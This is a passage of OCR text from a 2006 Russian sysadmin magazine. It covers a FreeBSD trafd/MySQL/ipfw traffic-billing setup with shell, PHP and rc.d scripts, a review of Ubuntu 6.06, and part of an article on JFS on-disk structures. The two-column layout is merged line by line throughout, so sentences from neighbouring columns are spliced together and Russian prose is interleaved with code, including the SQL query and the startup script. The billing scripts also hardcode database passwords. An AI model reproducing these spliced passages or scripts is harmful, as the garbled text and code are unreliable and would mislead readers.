В traflog.format был прописан формат sql-команды insert kill -INT `cat ${trafd_pid}.${iface}`
для нашей базы. logger -t trafd_dump "signaling trafd on ${iface} ↵

Альтернативные варианты  наличие мощной и гибкой системы шего случая при отсутствии видимых плю-
биллинга использования построения отчётов и несложного сов, оказалось много минусов:
Интернета биллинга SARG (Squid Analysis Report  переучивание пользователей процеду-
Первый: proxy-сервер. Давать пользо- Generator) (http://sarg.sourceforge.net). ре подсоединения к Интернету;
вателям доступ в Интернет только че-  перенастройка всех компьютеров поль-
рез proxy-сервер Squid, без использова- Недостатки: зователей;
ния NAT.  не все программы поддерживают ра-  освоение отдельной большой темы сис-
Преимущества: боту через proxy-сервер; темным администратором (возмож-
 широкие возможности аутентифика-  невозможность отключения пользова- но, его придётся отправлять на курсы
ции; теля сразу при превышении им уста- повышения квалификации, возможно,
 очень гибкая возможность ограничения новленного лимита трафика. он освоит это сам, но в любом случае,
доступа к определённым ресурсам; больше знания/умения – больше зара-
 наличие в свободном доступе в Интер- Второй: NeTAMS. Использовать бил- ботная плата; в случае ухода – дороже
нете обновляемых баз ресурсов пор- линговую систему NeTAMS (http://www. нанять нового);
нографического/эротического, развле- netams.com) – очень мощную и гибкую, под-  усложнение системы (а значит, сниже-
кательного и т. п. характера; держивающую множество методов сбора ние надёжности – это аксиома) из-за
 полный протокол всех посещенных информации о трафике (tee, divert, ip_queue, наличия и связывания большего коли-
пользователем страниц (а не только ulog, libpcap, netflow v5, netflow v9, netgraph) чества программ на роутере – на сервер
серверов, как в случае протоколиро- и её хранения (MySQL, PostgreSQL). Единс- придётся установить большое количес-
вания TCP-трафика) c указанием да- твенный недостаток – отсутствие подроб- тво дополнительно программного обес-
ты, времени и количества байт; ной статистики посещённых пользовате- печения (за найденными уязвимостями
 возможность блокировки рекламных лем ресурсов. То есть для этой системы и выпущенными обновлениями для ко-
баннеров, что позволяет тем самым это, наверное, и не недостаток – у неё не- торого тоже необходимо следить);
экономить трафик как организации, сколько другие задачи, в первую очередь  дополнительная нагрузка на сервер
так и пользователям; сбор информации о трафике с сетевых ус- за счёт использования дополнитель-
 кэш единож ды загруженных стра- тройств фирмы Cisco, а для моего случая ного программного обеспечения;
ниц, позволяющий экономить тра- это недостаток.  дополнительная нагрузка на сетевую
фик при посещении одним пользова- Третий: VPN или PPPoE. Доступ в Ин- инфраструктуру предприятия из-за
телем ресурса, который уже смотрел тернет можно предоставлять через VPN увеличения объёма трафика за счёт
другой; или PPPoE-подключение к роутеру. Для на- шифрования.

36
администрирование
dump to file"
else
logger -t trafd_dump "trafd on ${iface}: ↵
file ${c_pid} not found (trafd don't listen ↵
on ${iface}?)"

done
Рисунок 1. Интерфейс биллинговой системы, каким его видит
пользователь
Trafd_to_mysql.sh импортирует данные по трафику
на всех прослушиваемых trafd интерфейсах из времен-
ных файлов, созданных trafd_dump.sh, в базу MySQL. Ин-
формация об успехе или неуспехе подачи команды сохра-
няется в syslogd.

Файл trafd_to_mysql.sh

#!/bin/sh

. /etc/rc.conf

for iface in ${trafd_ifaces}; do


if [ -f /var/trafd/trafd.${iface} ]; then
logger -t trafd_to_mysql "inserting traffic data ↵
for ${iface} into mysql"
/usr/local/bin/traflog -a -o my_sql -n -i ↵
/var/trafd/trafd.$iface | ↵
/usr/local/bin/mysql -u insert_user ↵
-p123456789 traffic
rm /var/trafd/trafd.$iface
else Рисунок 2. Интерфейс администратора сразу после загрузки
logger -t trafd_to_mysql "failed to insert ↵ страницы
traffic data for ${iface} into mysql: ↵
file /var/trafd/trafd.${iface} not found"

done

Эти два файла должны регулярно запускаться. Насколь-


ко регулярно – зависит от интенсивности трафика на ро-
утере. Для наших условий нормально делать это каждые
пять минут.
Прописываем в /etc/crontab:

*/5 * * * * root ↵
/usr/home/root/sbin/trafd_dump.sh && sleep 30 && ↵
/usr/home/root/sbin/trafd_to_mysql.sh

Веб-интерфейс системы учёта трафика


Просмотр статистики – как пользователем, так и админис-
тратором – производится через веб-интерфейс (выполнен Рисунок 3. Список, выдаваемый в результате нажатия на кнопку
«Список IP-адресов сети + входящий и исходящий трафик»
в виде HTML-страниц с кодом на языке PHP внутри) лю-
бым браузером. В выпадающих списках «Период» задаётся период,
При открытии в браузере ресурса, который размещён по которому мы хотим получить информацию.
по назначенному администратором для страницы статис- Кнопка «Список IP-адресов сети + входящий и исходя-
тики адресу, пользователь сразу видит имеющуюся в ба- щий трафик» – выводит полную информацию обо всех име-
зе данных информацию об IP-адресе, с которого он зашел ющихся в базе данных IP-адресах внутренней сети, а так-
на страницу статистики (см. рис. 1). же количество входящего и исходящего трафика для каж-
Администратор открывает страницу admin.htm, находя- дого из них за указанный период (см. рис. 3).
щуюся в том же каталоге, что и интерфейс пользователя, Кнопка «Подробная для IP-адреса» – выводит список
или в другом – по его желанию. всех входящих и исходящих соединений для IP-адреса, за-
Защита интерфейса администратора от несанкциони- данного в поле ввода с таким же названием. По сути, это
рованного доступа может быть реализована различными просто дамп базы данных с отбором по заданному IP-ад-
способами. Например, если в качестве веб-сервера исполь- ресу. Зелёным цветом обозначен входящий трафик, жел-
зуется Apache, можно воспользоваться файлами .htaccess тым – исходящий (см. рис. 4).
и .htpasswd. Кнопка «Суммарная – по хостам – для IP-адреса» – вы-
Экран администратора разделён на две части: в верх- водит список всех входящих и исходящих соединений для
ней – меню, в нижней – таблица с результатами запроса. IP-адреса, заданного в поле ввода с таким же названием.
Сразу при открытии показывается таблица трафика за се- При этом для каждого IP-адреса из списка считается сум-
годняшний день и за текущий месяц (см. рис. 2). марный трафик, и таблица сортируется по убыванию. Зелё-

№8, август 2006 37


администрирование
# ${iip} – внутренний IP-адрес роутера
#

# Disallow users access to our proxy


${fwcmd} add deny log ip from not table\(0\) to ${iip} 3128

# Disallow users to have Internet


${fwcmd} add deny log ip from not table\(0\) ↵
to any in via ${iif}

Чтобы биллинг запускался при старте системы, во-пер-


вых, нужно прописать в /etc/rc.conf:

adc_billing_enable="YES"

Во-вторых, нужно создать в /usr/local/etc/rc.d/ файл


adc_billing.sh с приведённым ниже содержанием:

1 : #!/bin/sh
Рисунок 4. Подробная статистика для IP-адреса
2 : # PROVIDE: adc_billing
3 : # REQUIRE: mysql
4 : # KEYWORD: shutdown

5 : # Add the following lines to /etc/rc.conf to enable


adc_billing:
6 : #adc_billing_enable="YES"

7 : . /etc/rc.subr

8 : name="adc_billing"
9 : rcvar=`set_rcvar`
10:command="/usr/home/root/sbin/adc_billing.php"
11: stop_cmd="adc_billing_stop"

12: adc_billing_enable=${adc_billing_enable:-"NO"}

13: adc_billing_stop()
14: {
15: echo 'Stopping '${name}'.'
16: }

17: load_rc_config $name


Рисунок 5. Статистика для IP-адреса с группировкой по хостам, 18: run_rc_command "$1"
с которыми были соединения
Давайте разберём построчно, что делается в скрипте
ным цветом обозначен входящий трафик, желтым – исхо- adc_billing.sh. Номера строк приведены для удобства рас-
дящий (см. рис. 5.). сказа о его содержимом:
1. «Магическая последовательность» символов «#!», со-
Биллинг общающая текущему командному интерпретатору, что за ней
Итак, мы установили и запустили в эксплуатацию два мо- следуют путь и имя того командного интерпретатора, в ко-
дуля системы биллинга из трех. Но учитывать и выводить тором данный сценарий должен выполняться. Лучше всего
информацию об использованном трафике недостаточно: стартовые скрипты (в каталог /usr/local/etc/rc.d) писать на
полноценная система биллинга должна также содержать языке sh, во-первых, очень удобная возможность задания
в себе лимиты входящего и исходящего трафика, задава- очередности пуска скрипта (см. пояснение к строкам 3 и 4,
емые для каждого пользователя, и обеспечивать отключе- а также rcorder(8)), во-вторых, приходится заново писать весь
ние соответствующего пользователя при превышении им код, уже существующий в rc.subr и, в-третьих, в силу во-пер-
допустимых лимитов. Ниже рассматривается вопрос напи- вых и во-вторых, это противоречит идеологии системы.
сания и установки основного модуля системы биллинга, ко- 2. Имя сервиса, с которым работает данный скрипт.
торый служит этим целям. 3. Имя одного или нескольких сервисов, которые должны
быть запущены до данного скрипта. Регистр имеет значение,
Настройка ОС FreeBSD поэтому имя сервиса должно быть указано точно так, как
По результатам работы биллинга какие-то IP-адреса долж- оно написано в соответствующем скрипте в # PROVIDE
ны получать доступ в Интернет, а какие-то – нет. В системе 4. Ключевое слово. В нашем скрипте оно одно –
это осуществляется путём добавления IP-адресов, которым shutdown. Благодаря его присутствию, наш скрипт будет вы-
разрешен доступ в Интернет, в таблицу №0 (table 0) встро- зываться скриптом /etc/rc.shutdown при выключении и пе-
енного firewall FreeBSD ipfw. Файл инициализации правил резагрузке системы.
ipfw.rules может содержать среди прочих такие строки: 5, 6. Напоминание об имени и возможных значениях пе-
ременной, которая, будучи добавлена в rc.conf, управляет
# Переменные ${iif} и ${iip} заданы в файле rc.conf работой данного скрипта.
# ${iif} – имя интерфейса (сетевой карты) внутренней сети
# роутера 7. В файле /etc/rc.subr содержатся функции для выполне-

38
администрирование

Из истории развития стартовых ные строки в длинном файле было боль-  Повторное использование кода – ти-
скриптов BSD-систем шой проблемой. пичные операции, выполняемые боль-
Когда-то в BSD-системах был один стар- Другим недостатком такой системы бы- шинством скриптов, выполнены в ви-
товый скрипт – /etc/rc. Процесс init(8) вы- ла невозможность перезапуска какого-ли- де функций на языке sh и собраны
зывал его при запуске ОС для выполне- бо одиночного сервиса. в /etc/rc.subr. Благодаря этому типовые
ния всех действий, которые надо сделать В связи с этим сообществом разра- rc.d-скрипты могут быть длиной всего
в однопользовательском окружении (про- ботчиков NetSBD была создана система лишь в несколько строк.
верка дисков, монтирование разделов, ус- rc.d, которая позднее была импортирова-
тановка параметров сети, запуск различ- на во FreeBSD. Подробную информацию по rc.d-скрип-
ных демонов и т. д.). Конечно же, список Вот идеи, положенные в её основу: там можно найти в руководстве по FreeBSD –
этих действий не одинаков для различ-  Модульность – для каждой задачи темы rc(8), rc.subr(8), rcorder(8), rc.conf(5),
ных систем, и администраторам приходи- свой скрипт, используя который мож- а также в статье Yar Tikhiy «A practical guide
лось подгонять его под свои нужды путём но запустить, остановить или узнать to BSD rc.d scripting» по адресу: http://people.
редактирования файла /etc/rc. Найти нуж- статус сервиса. freebsd.org/~yar/rcng/article.html.

ния типичных операций. Ими рекомендуется пользоваться Основная программа биллинга


всем rc.d скриптам. Естественно, для того чтобы ими поль- Краткое описание выполняемых действий: adc_billing.php
зоваться, нужно включить их в текущий скрипт, что и де- запрашивает у MySQL сумму трафика за текущий месяц
лается в этой строке. (из таблицы Log) по каждому IP-адресу (из перечисленных
8. Задание обязательной для rc.subr переменной «name» в таблице Ip), у которого поле Ip.quota не равно NULL, и за-
значения – имени скрипта. Должна быть установлена до вы- тем, если число вычисленного трафика меньше значения
зова любой из функций, содержащихся в rc.subr. Ip.quota, добавляет этот IP-адрес в таблицу №0 (table 0)
9. Получение имени переменной, изменением значе- firewall ipfw.
ния которой разрешается или запрещается запуск наше-
го сервиса. (Причиной существования функции «set_rcvar» #!/usr/local/bin/php
являются различия в соглашении об именовании таких пе- <?
ременных во FreeBSD и NetBSD. Во FreeBSD в rc.conf пишут $link = mysql_connect("localhost", "view_user", ↵
"987654321") or die("Could not connect: ↵
«service_enable="YES"», а в NetBSD – «service="YES"».) " . mysql_error());
10. Переменная, значение которой – командная строка mysql_select_db("traffic") ↵
or die("Could not select database");
для запуска нашего сервиса. Если она задана, rc.subr бу-
дет действовать по сценарию обслуживания стандартного $query = "
SELECT Ip.ip,
демона. В частности, предоставляются методы по умолча- Ip.quota,
нию для следующих аргументов скрипта: start, stop, restart, Tbl.bytes
FROM
status, poll, rcvar. (
11. Определение имени функции, которая будет вызвана SELECT
Log.ip_to,
при запуске нашего скрипта с аргументом «stop». Как видно SUM(Log.all_bytes) AS bytes
из строк 13-16, в ней ничего не делается, кроме вывода со- FROM
Log
общения. Это не является строго необходимым, но мне ка- WHERE
жется, что так правильнее и красивее, к тому же, это задел Log.ip_to LIKE '192.168.0.%'
AND Log.first_time LIKE '" . date("Y-m") . "-%'
на будущее – если биллинг так разовьётся, что нужно будет GROUP BY
делать какие-либо действия при его выключении. Log.ip_to
) Tbl
12. Если переменная, определяющая запуск нашего RIGHT JOIN
скрипта, в rc.conf не декларирована, то она объявляется Ip ON Ip.ip = Tbl.ip_to
WHERE
и ей присваивается значение «NO». Тем самым мы избе- Ip.quota IS NOT NULL
гаем запуска скрипта. AND (Tbl.bytes < Ip.quota OR Tbl.bytes IS NULL);
";
17. Загрузить переменные из rc.conf.
18. Вызов основной функции из rc.subr(8) для выполне- $result = mysql_query($query) or die("Query N1 failed: ↵
" . mysql_error());
ния действия, ради которого скрипт был запущен. При этом
она (функция) будет использовать переменные и другие exec("/sbin/ipfw table 0 flush");
функции, определённые в скрипте. Обычно это последняя while ($row = mysql_fetch_object($result))
строка скрипта. {
exec("/sbin/ipfw table 0 add " . $row->ip);
Необходимо, чтобы основная программа биллинга за- }
пускалась каждые 10 минут и обновляла правила firewall ?>
в соответствии с информацией из базы данных. Для этого
в файл /etc/crontab добавляется следующая строка: Надеюсь, что описанные в статье методика и набор про-
грамм, доведённые в процессе уже достаточно длительной
*/10 * * * * root ↵ эксплуатации до того уровня, на котором они существуют
/usr/home/root/sbin/adc_billing.php
сегодня, помогут вам решать аналогичные задачи.

№8, август 2006 39


администрирование

Обзор дистрибутива Ubuntu 6.06

Сергей Супрунов
Вышла новая версия уже почти культового дистрибутива, который, ворвался на рынок
Linux-систем и по показателю популярности оставил позади таких «монстров», как Fedora Core
и openSUSE. Теперь он нацеливается и на корпоративный сектор.

Предыстория гими приложениями. Опытных пользователей это вряд ли


Когда Марк Шаттлворт, неплохо заработав в период расцве- обрадует, а вот новички смогут сразу приступить к работе,
та «дот-комов», решил, что пора возвращать миру «долги», не теряясь во множестве вариантов.
он избрал своим полем деятельности поддержку открыто- В основе дистрибутива Ubuntu лежит Debian, так что
го ПО. Одним из наиболее заметных результатов его рабо- пользователи получают всю мощь и гибкость этой систе-
ты и финансовых вложений стал дистрибутив Ubuntu, став- мы, огромные репозитарии deb-пакетов, превосходную до-
ший отражением представлений Марка об идеальной опе- кументацию, а также всегда могут рассчитывать на добро-
рационной системе. желательность сообщества.
Основная идея, заложенная в Ubuntu, – свободные про-
граммы должны быть действительно свободными и доступ- Установка
ными каждому. Реализуется это, во-первых, абсолютной В отличие от версии 5.10, где во время инсталляции ещё
бесплатностью дистрибутива (вы даже можете восполь- просматривались черты «родителя» (установка там выпол-
зоваться программой Ship-It на сайте проекта и получить нялась в текстовом режиме, хотя псевдографика и делала
диск с дистрибутивом по почте, не потратив ни копейки). Во- диалоги удобными и понятными), версия 6.06 пошла другим
вторых, разработчики прилагают огромные усилия для то- путём. Здесь реализована идея «инсталлятор как прило-
го, чтобы каждый, независимо от его «степени готовности» жение», когда система загружается в режиме LiveCD, а ус-
к Linux-решениям, чувствовал себя в системе легко и сво- тановка на винчестер выполняется программой, запускае-
бодно. Поэтому очень большое внимание уделяется пере- мой как обычное приложение. Впервые такую концепцию я
воду интерфейса чуть ли не на все языки мира. наблюдал в Gentoo 2006.0 для архитектуры x86, и, несмот-
Ещё одна концепция Ubuntu – «одна задача – одно при- ря на «кривость» той реализации, идея показалась весь-
ложение». Здесь вам не придётся выбирать текстовый ре- ма интересной.
дактор среди десятков пунктов в меню – разработчики Таким образом, вы убиваете сразу двух зайцев: проверя-
включили в дистрибутив только один редактор, зато, по ете совместимость дистрибутива с вашим «железом» ещё
их мнению, самый лучший. Аналогичная ситуация и с дру- до того, как выделите для системы место на вашем жёст-
ком диске. И получаете в своё распоряжение универсаль-
ный CD-диск, который после инсталляции сохраняет свою
полезность, поскольку его можно использовать и как пол-
ноценный LiveCD с такими приложениями, как Gimp, Firefox,
OpenOffice.org.
Итак, загрузившись с LiveCD и убедившись, что есть
и звук, и сеть, и видео (для этого в папке Examples лежат
файлы различных форматов), щёлкаем по иконке «Install».
Установка выполняется в шесть шагов, начиная с выбора
языка (есть и русский), и не требует никаких усилий. Ис-
ключение составляет разве что 5-й шаг, где вам предсто-
ит подготовить место на диске, если вы не планируете его
полностью очистить (рис. 1).
После установки – традиционная перезагрузка, и всё
Рисунок 1. Инструмент для работы с дисковыми разделами,
в чём-то даже удобнее QtParted готово к работе. Кстати, версия 5.10 у меня отказывалась

40
администрирование
ставить Grub, сославшись на какую-то несовместимость
с SATA-дисками. В 6.06 Grub был установлен без лишних
вопросов.

Хочу права root!


Да, пароль root у вас никто не спросит. Нужны права супер-
пользователя? Просто выполняйте каждую команду через
sudo. Кстати, если очень захочется поработать в системе
как root, наблюдая слева привычную «решёточку», введи-
те «sudo su-» и наслаждайтесь.

Встречаем по одёжке
Первое, что приятно удивило, – очень качественная руси-
фикация (интерфейс Gnome, пункты меню, всплывающие Рисунок 2. Работа с сетью – тоже на уровне
подсказки, справочная информация – всё поражает высо-
ким качеством перевода).
Рабочее окружение – Gnome 2.14, ядро – 2.6.15. Да и
можно отметить, что версии установленного ПО подобра-
ны самые свежие. Тем не менее появившаяся в 6.06 служ-
ба автоматических обновлений сразу же предложила пос-
тавить 132 обновления. К сожалению, эти обновления не
ранжированы по степени критичности (как это сделано, на-
пример, в OpenSUSE), а на закачку 184 Мб без разбора от-
важится не каждый, равно как и «копаться» в сотне паке-
тов. Впрочем, лиха беда начало – в следующей версии, бу-
дем надеяться, увидим и ранжирование.
Наконец-то на моей «Тошибе» нормально заработал
спящий режим. Правда, по занимаемому времени переход Рисунок 3. Работа с пакетами: легко, удобно, аккуратно...
в него и возврат не сильно отличаются от полного выклю-
чения, но тем не менее – новость приятная. ществом. При необходимости можно поставить и проприе-
Очень понравилась работа Samba – ресурсы домаш- тарные приложения, для которых имеются deb-пакеты. На-
ней Windows-машины стали доступны сразу же после ин- пример, с установкой Opera никаких проблем не возникло –
сталляции системы, без каких-либо дополнительных на- двойной щелчок, и в меню, в разделе «Интернет», появился
строек (рис. 2). дополнительный пункт. Естественно, вы можете в полном
Из приятных мелочей отмечу поддержку «из коробки» объёме использовать и консольные утилиты dpkg.
скроллинга при помощи правого края тачпада моего ноут-
бука. В 5.10 мне его сильно не хватало. Хотя это скорее за- И целого мира мало?
слуга обновлённой версии X-сервера. Начиная с версии 6.06 для Ubuntu декларируется долго-
Ещё одно «косметическое», но удобное новшество – ин- срочная поддержка. Так, для серверных версий обнов-
дикатор прогресса при размонтировании usb-flash. Рань- ления будут доступны в течение пяти лет, для рабочих
ше окончание синхронизации данных приходилось отсле- станций – в течение трёх. Подобный шаг свидетельству-
живать по светодиоду самой «флэшки», теперь же вы точ- ет о стремлении Ubuntu занять своё место и в корпора-
но будете знать момент, когда устройство уже можно отсо- тивном секторе.
единять физически. Пока что состав дистрибутива больше ориентирован на
Из недостатков от прежних версий сохранилось отсутс- домашнего пользователя, чем на офисных клерков. Тем не
твие русских шрифтов в текстовой консоли (переход в ко- менее хорошая поддержка сетей Windows и мощный офис-
торую выполняется по <Ctrl-Alt-Fx>) – система пытается об- ный пакет «из коробки» будут не лишними в локальной сети
щаться с вами по-русски, но в результате на экране – одни предприятия. К тому же имеющиеся версии дистрибутива
квадратики. Впрочем, это легко «лечится» установкой па- для всех основных архитектур (x86, AMD64, Mac, PowerPC) –
кета console-cyrillic. Кстати, о пакетах… хороший задел на будущее.

Работа с пакетами Послесловие


Debian есть Debian, так что к вашим услугам вся мощь ко- У меня сложилось впечатление об Ubuntu как об удачном
манд apt и aptitude (рис. 3). Для тех, кто не очень жалует дистрибутиве как для домашнего использования, так и для
командную строку, по-прежнему во всей красе доступен попыток «пересадить» на открытые приложения пользова-
Synaptic в двух видах: упрощённый «пользовательский» телей локальной сети небольшого предприятия.
и так называемый расширенный. По умолчанию подклю- Ребята из Canonical и сотни добровольцев сделали
чены только «официальные» репозитарии, но в настрой- (и продолжают делать в хорошем темпе) всё возможное,
ках легко добавить и остальные, поддерживаемые сооб- чтобы Ubuntu смог использовать каждый.

№8, август 2006 41


администрирование

Как устроена
файловая система JFS

Андрей Пешеходов
JFS, файловая система последнего поколения от IBM, спроектирована стройно и четко,
алгоритмы обработки данных и метаданных отличаются высокой степенью оптимизации.
Но показатели ее производительности не впечатляют. Попробуем разобраться, в чем же дело.

Истоки технологии JFS тирования. В OS/2 Warp Client она бы- тывал reiserfs. Ни одна из указанных
IBM представила свою файловую сис- ла включена в октябре 2000 года. Па- ФС не была полностью функциональ-
тему для UNIX как JFS с первым рели- раллельно с этими усилиями в 1997 на в Linux в 1999 году, и IBM решила,
зом AIX v3.1 в 1990 году. Эта ФС, из- году часть разработчиков JFS верну- что JFS является достаточно сильной
вестная сейчас как JFS1, была основ- лась в команду сопровождения AIX технологией и добавит вес набираю-
ной для AIX в течение 10 лет. Пять лет и занялась адаптацией кода новой JFS щему силу Linux.
спустя была начата работа по ее усо- к этой ОС. К маю 2001 года Enhanced Программисты из IBM посовето-
вершенствованию с целью улучшения Journaled File System (называемая вались с основными разработчиками
масштабируемости и реализации эф- JFS2) была доступна для AIX 5L. В де- файловых систем Linux на счет воз-
фективной поддержки SMP-систем. кабре 1999 года был сделан срез можности добавления еще одной жур-
Также ставилась задача улучшения пе- (snapshot) оригинального дерева ко- налируемой ФС. Одно из основных по-
реносимости ФС для обеспечения ее да JFS, и началась работа по ее пере- ложений философии Linux: выбор –
портирования и в другие операцион- носу в Linux. это хорошо, поэтому идея еще одной
ные системы (код JFS1 был очень тес- ФС была встречена с энтузиазмом.
но привязан к менеджеру памяти AIX, Портирование IBM воспользовалась поддержкой
и вряд ли смог бы эффективно рабо- К декабрю 1999 года уже существо- сообщества Open Source. Команда
тать в OS/2 или Linux). вали 3 перспективные ФС, только JFS последовала совету сообщества:
Новая Journaled File System, на ко- разрабатываемые или переносимые «release early and release often» (до-
торой основана Linux-версия JFS, бы- в Linux. ext2 была в процессе добав- словно: «выпустить рано и выпускать
ла впервые представлена с OS/2 Warp ления журналирования (ext3), SGI на- часто»), и привлекла множество сто-
Server в апреле 1999 года, после не- чала перенос своей файловой систе- ронних разработчиков к переносу JFS
скольких лет проектирования и тес- мы XFS с IRIX, и Hans Reiser разраба- в Linux. Всего через 3 месяца после на-

42
администрирование
чала работ (в феврале 2000) был выпущен первый Linux-ре- /* Двоичный логарифм (s_bsize/s_pbsize) */
__le16 s_l2bfactor;
лиз JFS. Он включал в себя функции mount/unmount и под-
держку программы ls. /* Размер физического блока в байтах */
__le32 s_pbsize;
Рассмотрим особенности устройства и реализации JFS
более подробно. /* Двоичный логарифм s_pbsize */
__le16 s_l2pbsize;

Дисковый раздел /* Дополнение (для выравнивания) */


__le16 pad;
Файловая система JFS создается на разделе (partition).
Дисковый раздел, с точки зрения JFS, имеет следующие /* Размер allocation-группы в логических блоках */
__le32 s_agsize;
параметры:
 Фиксированный размер блока, PART_BSize, который /* Атрибуты тома (см. jfs_filsys.h) */
__le32 s_flag;
может принимать значения 512, 1024, 2048 или 4096 байт.
Этот параметр определяет размер наименьшего эле- /* Сосотяние JFS(mount/unmount/recovery),
* см. jfs_filsys.h */
мента обмена данными с разделом. Он соответствует __le32 s_state;
размеру физического сектора того диска, на котором
/* >0 если задействовано сжатие данных */
расположен раздел, и чаще всего равен 512 байт. __le32 s_compress;
 Размер раздела, величину PART_NBlocks, содержа-
/* Первый экстент вторичной таблицы inode тома */
щую количество дисковых блоков на разделе. pxd_t s_ait2;
 Абстрактное адресное пространство:
/* Первый экстент вторичной карты inode тома */
[0,(PART_NBlocks-1)] дисковых блоков. pxd_t s_aim2;

/* Адрес устройства, на котором расположен


Логический том * журнал */
Для соответствия стандарту DCE DFS (Distributed Computing __le32 s_logdev;
Environment Distributed File System – распределенная файло- /* Номер mount-сессии */
вая система для распределенной среды вычислений) JFS __le32 s_logserial;
отделяет понятие пула дискового пространства от понятия /* Встроенный экстент журнала */
монтируемого поддерева именованных объектов файловой pxd_t s_logpxd;
системы. Дисковый раздел представлен в JFS логическим /* Встроенный экстент рабочего пространства
томом (aggregate в действительности означает «совокуп- * для fsck */
pxd_t s_fsckpxd;
ность», «целостность», но для удобства мы будем называть
его томом), а совокупность файлов и каталогов именуется /* Время последнего обновления */
struct timestruc_t s_time;
файлсетом (fileset – набор фалов). Существует в точности
один логический том на физическом разделе, файлсетов /* Количество блоков, зарезервированных
* для служебного журнала fsck. */
же может быть несколько (в Linux эта возможность не под- __le32 s_fsckloglen;
держивается из-за ограничений интерфейса VFS). В пер-
/* Определяет, какой из сервисных логов fsck
вом релизе JFS поддерживала только один набор файлов * наиболее свежий:
на том, однако все метаданные были спроектированы для * 0 – в логах еще нет данных
* 1 – первый
более общего случая. * 2 - второй */
Логический том состоит из следующих частей: s8 s_fscklog;
 32 Кб неиспользуемого дискового пространства в нача- /* Имя тома. Должно быть 11 байт длиной
ле. * для соответствия требованиям к загрузочному
* сектору OS/2. Используется только если
 Первичный и вторичный суперблоки, содержащие гло- * s_version = 1 */
бальную информацию о данном томе. Вторичный супер- char s_fpack[11];
блок есть точная копия первичного, положение обоих /* Параметры */
на диске фиксировано. Структура суперблока описана __le64 s_xsize;
pxd_t s_xfsckpxd;
в jfs_superblock.h: pxd_t s_xlogpxd;

/* char s_uuid[16]; /* 128-битный uuid тома */


* Суперблок логического тома char s_label[16]; /* Метка тома */
*/ /* 128-битный uuid устройства с журналом */
struct jfs_superblock { char s_loguuid[16];
char s_magic[4]; /* Magic-номер */ };

__le32 s_version; /* Вверсия */  Два экземпляра таблицы inodes тома, содержащей


/* Размер тома в физических блоках, для VFS - inodes, описывающие глобальные управляющие струк-
* количество блоков */ туры тома. Логически это просто массивы inodes. Так как
__le64 s_size;
том не имеет структуры каталога, объекты, описывае-
/* Размер блока тома в байтах, для VFS – мые этими inodes, не видны в пространстве имен како-
* размер фрагмента */
__le32 s_bsize; го-либо файлсета.
/* Двоичный логарифм s_bsize */
 Две копии карты размещения inodes, описывающей таб-
__le16 s_l2bsize; лицу inodes тома.

№8, август 2006 43


администрирование
 Карта размещения блоков, описывает структуры, управ- ция resizefs), максимальное количество AGs ограничено 128.
ляющие выделением и освобождением блоков тома. С другой стороны, существует ограничение на минималь-
 Рабочее пространство для fsck, необходимое для отсле- ный размер одной AG – в 8192 блоков тома. Число, выра-
живания выделения блоков тома. Оно необходимо пото- жающее размер AG в dmap-страницах (4 Кб, от disk map –
му, что JFS поддерживает очень большие тома, и дан- дисковая карта), должно быть степенью двойки. Выбранный
ные о выделенных/свободных блоках могут не помес- исходя из всех этих условий размер записывается в специ-
титься в памяти. Это пространство описывается супер- альное поле суперблока тома.
блоком. Один байт необходим для описания 8 блоков Том с размером, не кратным размеру AG, будет содер-
(по 1 биту на блок). Рабочее пространство fsck всегда жать одну частичную группу размещения. Она обрабаты-
расположено в конце тома. вается так же, как и обычная AG, а несуществующие фи-
 Встроенный журнал, обеспечивающий место для жур- зически блоки в карте выделения будут помечены как за-
налирования изменений метаданных тома. Описывает- нятые.
ся суперблоком и всегда расположено за рабочим про-
странством fsck. Файлсеты
Как уже говорилось, файлсет есть просто набор именова-
Состав таблицы inodes тома таков: ных файлов и каталогов. Он полностью содержится в преде-
 Inode 0 зарезервирован. лах одного тома. Заметьте также, что на одном томе может
 Inode 1 описывает все дисковые блоки тома, включая существовать несколько файлсетов; в этом случае все они
карту inodes. Это рекурсивное представление, при ко- разделяют общий пул свободных дисковых блоков тома.
тором сам inode расположен в файле, который он опи- Каждый файлсет располагает собственной таблицей
сывает. Очевидная трудность рекурсивного представле- inodes и картой их размещения, которая содержит данные
ния преодолевается здесь путем размещения по край- о положении inodes на диске. «Супер-inode», описывающий
ней мере первого inode тома в фиксированном месте эту карту и другую глобальную информацию о файлсете,
(через 4 Kb после первичного суперблока тома). Таким расположен в таблице inodes тома и был описан выше.
образом, JFS может просто отыскать inode 1, а от не- Inodes в таблице файлсета имеют следующие значе-
го и остальные inodes таблицы – следуя по B+ дереву ния:
в inode 1. Для репликации таблицы inodes тома JFS так-  Нулевой inode зарезервирован.
же должна находить копию inode 1 – для достижения ос-  Inode 1 содержит дополнительную информацию о файл-
тавшейся вторичной таблицы. Для этих целей в суперб- сете, которая не поместилась в структурах, описывае-
локе есть поле, содержащее дескриптор экстента, опи- мых inodes тома.
сывающий положение inode 1 вторичной таблицы.  Inode 2 описывает корневой каталог данного файлсета.
 Inode 2 описывает карту размещения блоков тома. Заметьте, что JFS соблюдает общее для файловых сис-
 Inode 3 описывает встроенный журнал (когда ФС смон- тем UNIX соглашение, когда inode за номером 2 описы-
тирована). Дисковая копия этого inode не указывает вает корневой каталог.
на какие-либо данные, его поля заполняются только  Inode 3 описывает ACL-файл.
в in-memory образе.  Начиная с четвертого, следуют inodes для обычных объ-
 Inode 4 описывает файл плохих блоков, найденных ектов файловой системы – файлов и каталогов.
при форматировании тома.
 Inodes с 5-го по 15-й зарезервированы. Структуры данных
 Начиная с 16-го, существует по 1 inode на каждый файл- Каждый объект JFS описывается inode. Inode содержит спе-
сет. Эти inodes описывают управляющие структуры, пред- цифичную для объекта информацию, например, времен-
ставляющие набор файлов. С добавлением новых набо- ные штампы и тип файла (регулярный, каталог, или др.).
ров файлов к тому таблица inodes тома может расти. Он также «содержит» B+ дерево для отслеживания поло-
жения экстентов. Примечательно, что все метаданные JFS
Allocation groups (за исключением суперблока) представлены в виде фай-
Allocation groups (AGs, группы размещения) разбивают про- лов. Благодаря использованию структуры inode для описа-
странство тома на части и позволяют политике выделения ния размещения этих данных, их положение на диске мо-
ресурсов JFS использовать хорошо известные методы жет быть изменено в новых версиях JFS без внесения из-
для достижения высокой производительности ввода/вы- менений в код.
вода. Во-первых, JFS пытается группировать вместе дис-
ковые блоки и inodes для связанных данных. Во-вторых, Экстенты
ФС старается распределить несвязанные данные по всему Файл размещается на диске в виде группы экстентов. Эк-
тому для согласования размещения. AGs в пределах тома стент может иметь длину от 1 до (224-1) блоков тома; сле-
